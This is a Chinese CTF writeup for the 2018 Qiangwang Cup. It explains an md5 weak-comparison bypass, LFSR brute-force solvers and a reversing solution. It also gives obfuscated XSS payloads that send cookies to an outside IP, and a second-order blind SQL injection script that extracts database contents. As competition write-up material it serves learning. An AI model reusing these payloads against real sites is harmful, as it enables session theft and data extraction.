第二届强网杯部分Writeup
2018/03/24 Writeup Web 强网杯

Welcome

Stegsolve–>
网站入口


  • 偏移得到

    网站入口

Web签到

进入web签到给的地址 http://39.107.33.96:10000/

网站入口

查看下网站源码 发现hint

网站源码

需要post “param1” “param2” 两个值 不能相等但必须md5值相等 ,根据了解 这算是一种php弱类型

根据了解找到一组值

md5(240610708,32) = 0e462097431906509019562988736854
md5(240610708,16) = 4319065090195629

md5(QNKCDZO,32) = 0e830400451993494058024219903391
md5(QNKCDZO,16) = 4519934940580242

上文提到过,0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。md5(‘240610708’) == md5(‘QNKCDZO’)成功绕过!

来到第二关

网站2

查看网站源码

源码2

第三层需要md5碰撞 找到ms5相同但值不同的两个文件 可以利用工具生成

源码2

share you mind

注意到此题环境配置了pathinfo,并且涉及到XSS,所以推测是RPO.
当在Write article的内容处写入js代码(不能写标题,因为写入标题后会引入html标签).
源码2
这样就相当于在网站写入了一段纯JS.

源码2

访问http://39.107.33.96:20000/index.php/view/article/729/..%2f..%2f..%2f..%2findex.php即可触发RPO.

源码2

然后讲这个地址Export给后台的机器人就行了.
所以思路就是利用这个XSS去打COOKIE.
后端过滤了引号,利用fromCharCode绕过.
PAYLOAD:
(new Image()).src = String.fromCharCode(104,116,116,112,58,47,47,49,51,57,46,49,57,57,46,49,56,53,46,56,57,47) + document.cookie;
得到第一个cookie,提示需要进一步打子目录下的COOKIE.

引入一个iframe就行了,
PAYLAOD2:

var iframe = document.createElement(String.fromCharCode(105,102,114,97,109,101));
iframe.src = String.fromCharCode(47,81,87,66,95,102,108,52,103,47,81,87,66,47);
iframe.id = String.fromCharCode(102,114,97,109,101);
document.body.appendChild(iframe);
iframe.onload = function (){
      var c = document.getElementById(String.fromCharCode(102,114,97,109,101)).contentWindow.document.cookie;
var n0t = document.createElement(String.fromCharCode(108,105,110,107));
n0t.setAttribute(String.fromCharCode(114,101,108), String.fromCharCode(112,114,101,102,101,116,99,104));
n0t.setAttribute(String.fromCharCode(104,114,101,102), String.fromCharCode(47,47,49,51,57,46,49,57,57,46,49,56,53,46,56,57,47,63,102,108,97,103,61) + c);
document.head.appendChild(n0t);
}

Three hit

这道题考察二次注入.
注册时提供name,age,password参数;
登陆时会根据age参数在数据库中查询age相同的用户的用户名,并且显示出来.
age参数做了过滤,提示只能是数字,这里可以利用16进制编码绕过.
然后就是常规的二次布尔盲注流程了.
脚本如下,每注入出一项数据后,就需要修改下注册用户名的前缀.

#! /usr/bin/env python3
# Author : sn00py

import requests
import binascii

url_register = "http://39.107.32.29:10000/index.php?func=register"
url_login = "http://39.107.32.29:10000/index.php?func=login"
result = '[*]result:'
for i in range(1, 65):
    for j in range(32, 127):
        # age = "9527 or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1),{0},1))={1}#".format(str(i), str(j))
        # age = "9527 or ascii(substr((select column_name from information_schema.columns where table_name = 'flag' limit 1),{0},1))={1}#".format(str(i), str(j))
        age = "9527 or ascii(substr((select flag from flag limit 1),{0},1))={1}#".format(str(i), str(j))
        age = binascii.hexlify(bytes(age, 'utf8'))
        age = "0x" + str(age, "utf8")
        username = "np7g{0}{1}".format(str(i), str(j))
        data = {
            "username": username,
            "password": "123456",
            "age": age
        }
        # 注册
        while True:
            try:
                resp1 = requests.post(url=url_register, data=data, allow_redirects=False)
                # print("[+]{} 注册成功.".format(username))
                break
            except Exception as e:
                # print("[+]{} 注册失败.".format(username))
                continue
        # 登陆
        while True:
            try:
                resp2 = requests.post(url=url_login, data=data, allow_redirects=True)
                if "<a>123</a>" in resp2.text:
                    result += chr(j)
                    print(result)
                # print("[+]{} 登陆成功.".format(username))
                break
            except Exception as e:
                # print("[+]{} 登陆失败.".format(username))
                continue

ai-nimals

源码2
多次发送狗狗图片的base64编码得到

streamgame1

位数不是很大,爆破即可

def lfsr(R,mask):
    output = (R << 1) & 0xffffff
    i=(R&mask)&0xffffff
    lastbit=0
    while i!=0:
        lastbit^=(i&1)
        i=i>>1
    output^=lastbit
    return (output,lastbit)

mask    =   0b1010011000100011100

with open("key","rb") as f:
    a = f.read()

for init in range(2**19):
    R = init
    ok = True
    for i in range(12):
        tmp=0
        for j in range(8):
            (R,out)=lfsr(R,mask)
            tmp=(tmp << 1)^out
        if tmp != a[i]:
            ok = False
            break
    if ok:
        print('flag{%s}' % bin(init)[2:])
        break

得到flag flag{1110101100001101011}

streamgame2

#根据streamgame2.py 可以得到flag长度为27
#所以这里爆破一下就可以get flag了
def lfsr(R,mask):
    output = (R << 1) & 0xffffff
    i=(R&mask)&0xffffff
    lastbit=0
    while i!=0:
        lastbit^=(i&1)
        i=i>>1
    output^=lastbit
    return (output,lastbit)


f = open('key','rb')
c = f.read()
print len(c),c.encode('hex')

for cx in range(1048578,9999999):
    flag = 'flag{%s}'%bin(cx).replace('0b','')
    R=int(flag[5:-1],2)
    mask=0x100002

    x = ''
    for i in range(12):
        tmp=0
        for j in range(8):
            (R,out)=lfsr(R,mask)
            tmp=(tmp << 1)^out
        x += chr(tmp)


    if x.encode('hex') == 'b2e90e13a06a1bfc40e67d53':
        print x,cx,flag
        Break

即可得到flag
源码2

streamgame4

#include <iostream>
#include <bitset>  

using std::bitset;  
using namespace std;

char bin[8] = {
    0xD1, 0xD9, 0x40, 0x43, 0x93, 0x53, 0x1E, 0x5E
};

void nlfsr(int R,int mask,int & output,int & lastbit){
    output = (R << 1) & 0xffffff;
    int i=(R&mask)&0xffffff;
    lastbit=0;
    int changesign=1;
    while (i!=0){
        if (changesign==1){
            lastbit &= (i & 1);
            changesign=0;
        }else{
            lastbit^=(i&1);
        }
        i=i>>1;
    }
    output^=lastbit;
}
int check(int flag){
    char bin[]={209,217,64,67,147,83,30,94} ;
    int R=flag,t=0;
    int mask=1783406;int tmp=0;
    for(int i=0;i<8;i++){
        tmp=0;
        for(int j=0;j<8;j++){
            int ROut=0,out=0;
            nlfsr(R,mask,ROut,out);
            R=ROut;
            tmp=(tmp << 1)^out;
        }
        if((char)tmp==bin[i]){
            t++;
        }
    }
    if(t==8)
        return 1;
    else
        return 0;
} 

int main(int argc, char** argv) {
    for(int i=0;i<1048576;i++){
        if(check(i+1048576)==1){
            bitset<21> bst=i+1048576;
            cout <<"Flag Found!flag:"<<bst<<endl;
            system("pause");
            return 0;
        }

    }
    cout <<"Failed to search flag!"<<endl;
    system("pause");
    return 0;
}

得到flag Flag Found!flag:100100111010101101011

Simplecheck

#include "stdio.h" 
#include "math.h" 
/*求一元二次方程ax*x+bx+c=0的解*/ 
float n1[] = { 0, 146527998, 205327308, 94243885, 138810487, 408218567, 77866117, 71548549, 563255818, 559010506, 449018203, 576200653, 307283021, 467607947, 314806739, 341420795, 341420795, 469998524, 417733494, 342206934, 392460324, 382290309, 185532945, 364788505, 210058699, 198137551, 360748557, 440064477, 319861317, 676258995, 389214123, 829768461, 534844356, 427514172, 864054312 };
float n2[] = { 13710, 46393, 49151, 36900, 59564, 35883, 3517, 52957, 1509, 61207, 63274, 27694, 20932, 37997, 22069, 8438, 33995, 53298, 16908, 30902, 64602, 64028, 29629, 26537, 12026, 31610, 48639, 19968, 45654, 51972, 64956, 45293, 64752, 37108 };
float n3[] = { 38129, 57355, 22538, 47767, 8940, 4975, 27050, 56102, 21796, 41174, 63445, 53454, 28762, 59215, 16407, 64340, 37644, 59896, 41276, 25896, 27501, 38944, 37039, 38213, 61842, 43497, 9221, 9879, 14436, 60468, 19926, 47198, 8406, 64666 };
float n4[] = { 0, -341994984, -370404060, -257581614, -494024809, -135267265, 54930974, -155841406, 540422378, -107286502, -128056922, 265261633, 275964257, 119059597, 202392013, 283676377, 126284124, -68971076, 261217574, 197555158, -12893337, -10293675, 93868075, 121661845, 167461231, 123220255, 221507, 258914772, 180963987, 107841171, 41609001, 276531381, 169983906, 276158562 };
float n5[34];
int main() 
{ 
    float a,b,c,x1,x2,d,e; 
    int i=0;
    while(i<34)
    {
        b = n3[i];
        a = n2[i];
        c = n4[i]-n1[i+1];
        e = n4[i]-n1[i];
        d=b*b-4*a*c; 
        if(d < 0) 
        printf("方程没有实数解。\n"); 
        if (d==0) 
        { 
        x1=(-b)/(2*a); 
        printf("x1=%f\n",x1); 
        } 
        if (d>0) 
        { 
        x1=(-b+sqrt(d))/(2*a); 
        x2=(-b-sqrt(d))/(2*a); 
        //printf("x1=%f,x2=%f\n",x1,x2);
        }
        n5[i] = x1+0.5;  //向上取整
        i++;
    }
    for (int j = 0; j < 34; j++)
        printf("%c",(int)n5[j]);
    return 0;
}

结果
flag{MAth_i&_GOOd_DON7_90V_7hInK?}

请杯咖啡呗~
支付宝
微信
本文作者:ios
版权声明:本文首发于ios的博客,转载请注明出处!